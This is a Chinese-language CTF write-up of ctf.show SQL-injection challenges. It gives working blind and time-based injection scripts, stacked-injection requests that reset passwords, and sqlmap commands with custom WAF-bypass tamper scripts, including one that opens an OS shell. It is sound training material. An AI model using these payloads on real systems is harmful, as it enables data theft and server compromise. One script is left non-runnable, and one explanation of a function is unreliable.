md5(string,raw)其中raw参数可选,且有两种选择

FALSE:32位16进制的字符串
TRUE:16位原始二进制格式的字符串
当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1二进制。

再看下一个知识点

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

因此我们构造一个pass使得md5后是‘xxx’ or 数字开头 ,发现ffifdyop可以达到此效果

web 188

mysql中字母与数字的比较过程:

你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0很有可能是能查询出东西的,即使你没有name为0的数据

这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功

web189

load_file结合regexp盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/7/30 15:48
# @Function:
import requests
import sys
import json

url = 'http://6ef6bc21-0110-4f40-bb9e-d260d53faac1.challenge.ctf.show:8080/api/index.php'
flag = 'ctfshow{'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'

for i in range(100):
for j in letter:
payload = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag + j),
"password": "0"

}
r = requests.post(url=url,data=payload)
#print(r)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
break
if '}' in flag:
sys.exit()

web190

  • 时间盲注

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    # @Author:Kradress
    import requests

    url = "http://cd828d70-8321-49a4-b845-f407fa23f67f.challenge.ctf.show/api/"

    result = ''

    #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
    #ctfshow_web
    #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
    #ctfshow_fl0g
    #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
    #id,f1ag

    #爆字段值
    payload = "select f1ag from `ctfshow_fl0g`"

    for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
    mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
    # print(mid)
    data = {
    'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
    'password' : 0
    }
    try:
    r = requests.post(url, data, timeout=0.8)
    tail = mid
    except:
    head = mid + 1 #sleep导致超时

    if head != 32:
    result += chr(head)
    print(result)
    else:
    break

    脚本跑出来可能会错,要多跑几次对比一下

    web191

    把上题的ascii换成ord

    web192

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    # -*- coding: utf-8 -*-

    """
    @Author disda
    @Date 2023/5/26 09:51
    @Describe
    @Dependency
    @Version 1.0
    """
    # @Author:Kradress
    import requests
    import string

    url = "http://2296ab53-69f2-42c9-844d-28848bc82366.challenge.ctf.show/api/"

    result = ''

    # 爆表名
    # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
    # 爆列名
    # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
    # 爆字段值
    payload = "select f1ag from `ctfshow_fl0g`"
    uuid = string.ascii_lowercase + string.digits + "{-_}"

    for i in range(1, 50):
    for char in uuid:
    data = {
    'username': f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
    'password': 0
    }
    try:
    r = requests.post(url, data, timeout=0.8)
    except:
    result += char # sleep导致超时
    print(result)
    break

    if char == '}':
    break

web193

strsub不给用了,mid、leift、right都可以

right
从右边开始截取,配合ascii使用.
ascii(‘str’)返回字符串的第一个字符的ascii码
ascii(right(‘abc’,2))= 97相当于 ascii(‘bc’)=97

left
从左边开始截取,用reverse反转

ascii(reverse(left(‘abc’,2))) = 97 相当于 ascii(‘bc’)=97

mid和strsub效果一样,代码同上

  • 直接猜

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    # -*- coding: utf-8 -*-

    """
    @Author disda
    @Date 2023/5/26 10:11
    @Describe
    @Dependency
    @Version 1.0
    """

    import requests
    import sys
    url = 'http://741281c8-2d94-48a5-9828-84f8186ae64d.challenge.ctf.show/api/'
    flag = ''
    # like的话,下划线放最后,因为相当于是匹配任意字符
    letter = '0123456789abcdefghijklmnopqrstuvwxyz-,{}_'

    for i in range(100):
    for j in letter:
    # 爆库名
    # payload = "' or if((select group_concat(database())) like '{}',1,0) ='1".format(flag + j + "%")
    # 爆表名
    # payload = "' or if((select group_concat(table_name) from information_schema.tables where(table_schema=database()) ) like '{}',1,0) ='1".format(flag+j+"%")
    # 爆字段名
    # payload = "' or if((select group_concat(column_name) from information_schema.columns where(table_name='ctfshow_flxg') ) like '{}',1,0) ='1".format(flag + j + "%")
    # 爆字段
    payload = "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
    data={
    'username':payload,
    'password':1
    }
    res = requests.post(url=url,data=data)
    if "密码错误" == res.json()['msg']:
    flag += j
    print(flag)
    break
    if "}" in flag:
    sys.exit()

web195

1
2
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
  • 使用update语句登录,将admin使用hex编码($username没有被单引号包裹)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /api/ HTTP/1.1
    Host: 33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show
    Content-Length: 68
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show
    Referer: http://33f6e930-7cb7-4763-92c1-0b8bcfd8e6d7.challenge.ctf.show/select-stacked.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close

    username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123

web196

堆叠注入

顾名思义,堆叠注入就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。

第一个返回空,第二个返回1,密码也是1,逻辑成立

1
2
3
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/ HTTP/1.1
Host: 63ebcf3e-f52f-4dc2-afaf-f6e6709f904c.challenge.ctf.show
Content-Length: 33
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://63ebcf3e-f52f-4dc2-afaf-f6e6709f904c.challenge.ctf.show
Referer: http://63ebcf3e-f52f-4dc2-afaf-f6e6709f904c.challenge.ctf.show/select-stacked.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=0%3Bselect(2)&password=2

web197

插入数据

1
2
0;insert  ctfshow_user(`username`,`pass`) value(0,0);
0

web198

1
2
0;show tables;
ctfshow_user

web 201

  • 开始使用sqlmap

    根据提示,加上refer

1
2
3
4
5
6
7
python sqlmap.py -u ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/api/?id=1 --refer=http://ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/sqlmap.php --tables

python sqlmap.py -u ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/api/?id=1 --refer=http://ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/sqlmap.php -T ctfshow_user --columns

python sqlmap.py -u ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/api/?id=1 --refer=http://ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/sqlmap.php -T ctfshow_user --columns

python sqlmap.py -u ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/api/?id=1 --refer=http://ba331644-ca02-4ccf-b446-5ad5b3629eff.challenge.ctf.show/sqlmap.php -T ctfshow_user -C pass --dump

web202

  • Sqlmap post用法
1
2
3
4
5
6
7
python sqlmap.py -u http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/api/?id=1 --data="id=1" --refer=http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/sqlmap.php --dbs

python sqlmap.py -u http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/api/?id=1 --data="id=1" --refer=http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/sqlmap.php --tables

python sqlmap.py -u http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/api/?id=1 --data="id=1" --refer=http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/sqlmap.php -T ctfshow_user --columns

python sqlmap.py -u http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/api/?id=1 --data="id=1" --refer=http://fcae001f-d669-430c-b2ee-8fb20fe927d2.challenge.ctf.show/sqlmap.php -T ctfshow_user -C pass --dump

web203

记得要加上–headers=”Content-Type: text/plain” 不然data是以表单形式发送

1
python sqlmap.py -u http://4bed30ca-53ef-4c44-a5e1-91eeaf63d4c0.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns  -C pass -dump

web 204

1
python sqlmap.py http://617aeb7f-5ecd-44a3-9040-2a7a39def7f5.challenge.ctf.show/api/index.php --method="PUT" --data="id=1" --refer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=p9mkuj9vngdtei0cd6efjce6pn; ctfshow=eb51da0e22ab707da3add55108b2d346" -T ctfshow_user -C pass --dump

web 205

抓包发现先访问/api/getToken.php页面,验证PHPSESSID后才能通过,去访问/api/

1
2
1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
1
python sqlmap.py -u http://9982c70a-d4b0-45f1-b247-871e538c14b0.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --safe-url=9982c70a-d4b0-45f1-b247-871e538c14b0.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flax --columns -C flagx --dump

web206

可以提高level等级,提高level就会执行更多的payload,同时执行速度也会变慢(这题其实不需要)

1
--level=LEVEL 设置测试等级(1-5,默认为 1)
1
python sqlmap.py -u http://e1e4b812-10a3-4fdf-991a-405337841416.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --safe-url=http://e1e4b812-10a3-4fdf-991a-405337841416.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxc -C flagv --dump --level=3

web207

过滤了空格,可以用--tamper来修改注入的数据

常见的tamper脚本

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释

1
2
python sqlmap.py -u http://04a724c7-1a0c-4124-b6f5-99d2ed8f4899.challenge.ctf.show/api/index.php --safe-url=http://04a724c7-1a0c-4124-b6f5-99d2ed8f4899.challenge.ctf.show/api/getToken.php --safe-freq=1 -method=PUT --headers="Content-Type: text/plain" --data="id=1" --dbms=mysql --current-db --tables  -T ctfshow_flaxca  --columns -C flagvc --dump  --level=3 --tamper=space2comment

web 207

1
python sqlmap.py -u "http://103309c4-1619-45a2-84ec-56b906282010.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://103309c4-1619-45a2-84ec-56b906282010.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

Web209

自定义tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding: utf-8 -*-

"""
@Author disda
@Date 2023/6/6 10:07
@Describe
@Dependency
@Version 1.0
"""
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
# 如果是第一个空格,就进行替换
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
# 如果判断是在引号的内部,不管是单还是双,都不替换
elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue

retVal += payload[i]

return retVal
1
python sqlmap.py -u "http://0407dae4-c9af-4418-8e92-bb043a3f33d8.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://0407dae4-c9af-4418-8e92-bb043a3f33d8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web209.py -T ctfshow_flav -C ctfshow_flagx --dump

web210

返回逻辑

1
2
3
4
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

反向操作即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal
1
python sqlmap.py -u "http://3b91408c-21f5-4fb0-9cf4-73438accb280.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://3b91408c-21f5-4fb0-9cf4-73438accb280.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210.py -T ctfshow_flavi -C ctfshow_flagxx --dump

Web212

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("")

def tamper(payload, **kwargs):
payload = bypass(payload)

retVal = payload
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

def bypass(payload):
retVal = ""
for i in range(len(payload)):
if payload[i]==" ":
retVal += chr(0x9)
else:
retVal += payload[i]
return retVal

web213

  • 题目提示os-shell
1
python sqlmap.py -u "http://4ee86282-6952-4b4f-a276-f268fe18746a.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://4ee86282-6952-4b4f-a276-f268fe18746a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210.py --os-shell --batch

web214

时间盲注,写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# @Author:Kradress
import requests

url = "http://a02805db-8d38-44d6-b782-6194092b9a45.challenge.ctf.show//api/"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'"
#爆字段值
payload = "select flaga from `ctfshow_flagx`"

for i in range(1,50):
# 32-127是可显示的ASCII码
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'ip' : f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'debug' : '0'
}
try:
r = requests.post(url, data, timeout=0.8)
tail = mid
except:
head = mid + 1 #sleep导致超时

if head != 32:
result += chr(head)
print(result)
else:
break

web 215

  • 从数字类型的参数变成字符串类型参数

    1
    "' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#"

web 216

  • 闭合)即可

    1
    "1) or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#"

web 217

sleep平替法

benchmark

benchmark #可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。

1
2
3
select benchmark(1e7,sha1('kradress')); # 2.24s  
select benchmark(1e7*(1=1),sha1('kradress')) #2.57s
select benchmark(1e7*(1=2),sha1('kradress')) #0s

笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用

1
2
-- 可以代替sleep
select if(1=1,(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.columns C),0);

正则表达式

正侧匹配在匹配较长字符串但自由度比较高的字符串时会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时

1
2
SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0)

我们通过benchmark来实现sleep的平替,mysql中true为1,false为0,我们可以乘一个大数来进行benchmark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*-

"""
@Author disda
@Date 2023/6/7 15:13
@Describe
@Dependency
@Version 1.0
"""
# @Author:Kradress
from time import sleep
import requests

url = "http://4e8f7ce0-ca2c-4556-a84d-4a0172160a7a.challenge.ctf.show/api/"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'"
#爆字段值
payload = "select flagaabc from `ctfshow_flagxccb`"

for i in range(1,50):
head = 32
tail = 127

while head < tail:
sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
data = {
'ip' : f"-1) or benchmark(4e6*(ascii(substr(({payload}),{i},1))>{mid}),sha1('disda'))#",
'debug' : '1'
}
try:
r = requests.post(url, data, timeout=1)
tail = mid
except:
head = mid + 1 #sleep导致超时

if head != 32:
result += chr(head)
print(result)
else:
break

web218

这道题ban了sleepbenchmark

我们使用笛卡尔积平替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# @Author:Kradress
from time import sleep
import requests

url = "http://d3acf855-ded7-4f06-9fe8-d6c38215602b.challenge.ctf.show/api/"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'"
#爆字段值
#218
#payload = "select flagaac from ctfshow_flagxc"
#219
#payload = "select flagaabc from ctfshow_flagxca"

for i in range(1,50):
head = 32
tail = 127

while head < tail:
sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'ip' : f"-1) or if(ascii(substr(({payload}),{i},1))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.schemata C),1",
'debug' : '1'
}
try:
r = requests.post(url, data, timeout=1)
tail = mid
except:
head = mid + 1 #sleep导致超时

if head != 32:
result += chr(head)
print(result)
else:
break


web220

ascii可以用ord同名函数替换,substr可以用right替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# @Author:Kradress
from time import sleep
import requests

url = "http://d9c4aa97-33ea-4164-abc7-79b0c50fe9ce.challenge.ctf.show/api/"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac'"
#爆字段值
payload = "select flagaabcc from ctfshow_flagxcac"

for i in range(9,50):
head = 32
tail = 127

while head < tail:
sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'ip' : f"-1) or if(ord(right(({payload}),{i}))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.schemata C),1",
'debug' : '1'
}
try:
r = requests.post(url, data, timeout=1)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break


得到答案}2c15ff03675d-2cc9-fd04-a628-8c62925d{wohsftc

需要reverse一下。

web221

limit注入

1
2
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

web222

group注入 我们可以进行延时盲注也可以进行布尔盲注

我这里用延时盲注

例如

1
group by if(1=1,sleep(1),1)

但要注意的是,group by会向下一直查询,数据库里总共有21条数据,如果我们是sleep(1)则是停顿21秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-

"""
@Author disda
@Date 2023/6/9 14:54
@Describe
@Dependency
@Version 1.0
"""
# @Author:Kradress
from time import sleep
import requests

url = "http://f3a56ce4-76ff-448d-8baa-2ebba20cf55f.challenge.ctf.show/api/?u="
url2 = ' &page=1&limit=10'
result = ''

for i in range(1,50):
head = 32
tail = 127

while head < tail:
sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# 爆表名
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')"
# 爆列
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')"
# 爆值
payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))>{mid},sleep(0.05),'False')"

try:
r = requests.get(url=url+payload+url2,timeout=1).text
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break

web223

numToStr 函数是一个辅助函数,用于将一个字符串转换为 SQL 查询语句中的表达式。

该函数的基本思想是将每个字符转换为 true 值的列表,这个列表的长度为该字符的 ASCII 码值。然后将这个 true 值的列表作为参数传递给 char() 函数,该函数会将 true 值转换为对应的 ASCII 字符。

例如,如果输入字符串是 “a”,则 numToStr(“a”) 的结果是 “char(true,true,…true)”,其中 true 的数量为 ASCII 码值 “a” 的值。在这个例子中,ASCII 码值 “a” 的值为 97,因此列表中有 97 个 true 值。

这种方法的优点是可以避免使用字符串拼接,这在某些情况下可以提高查询性能。此外,使用 true 值的列表也避免了字符串转义的问题。

总的来说,numToStr 函数提供了一个简单而有效的方法,用于将字符串转换为 SQL 查询语句中的表达式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-

"""
@Author disda
@Date 2023/6/9 16:17
@Describe
@Dependency
@Version 1.0
"""
import requests

url = 'http://a3d2e7a1-9073-4c14-a573-4e6ae2ea9e11.challenge.ctf.show/api/?u='
str = ''
result=''
def num2true(num):
str = '(' + 'true%2b' * (num-1) + 'true)'
return str


for i in range(1, 50):
head,tail = 32, 127
while head < tail:
mid = (head + tail+1) >> 1 # 中间指针等于头尾指针相加的一半
# 爆表名
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num2true(i)},true))<{num2true(mid)},username,true)"
# 爆列
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{num2true(i)},true))<{num2true(mid)},username,true)"
# 爆值
# payload = f"if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{num2true(i)},true))<{num2true(mid)},username,true)"

r = requests.get(url=url+payload).text
# print(payload)
if 'passwordAUTO' in r:
tail = mid-1
else:
head = mid

result += chr(head)
print(result)

web225

用handler替代select

1
2
3
?username=';show tables;%23

?username=';handler `ctfshow_flagasa` open as hd;handler hd read first;%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /api/?username=';show%20tables;--+ HTTP/1.1
Host: 1a001d3e-f735-4f37-aa7a-f1d7bcfabb8c.challenge.ctf.show
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://1a001d3e-f735-4f37-aa7a-f1d7bcfabb8c.challenge.ctf.show/other.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9oqrd401j58f8c21c1gge7p3gd
Connection: close

GET /api/?username=';handler%20%60ctfshow_flagasa%60%20open%20as%20hd;handler%20hd%20read%20first;%2523 HTTP/1.1
Host: 1a001d3e-f735-4f37-aa7a-f1d7bcfabb8c.challenge.ctf.show
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://1a001d3e-f735-4f37-aa7a-f1d7bcfabb8c.challenge.ctf.show/other.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9oqrd401j58f8c21c1gge7p3gd
Connection: close


web226

预编译

prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)

1
2
3
4
5
6
'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
1. abc转成16进制是616263
2. 616263转十进制是6382179
3. 用科学计数法表示6e6+382179
4. 套上unhex(hex()),就是unhex(hex(6e6+382179));
1
2
3
4
5
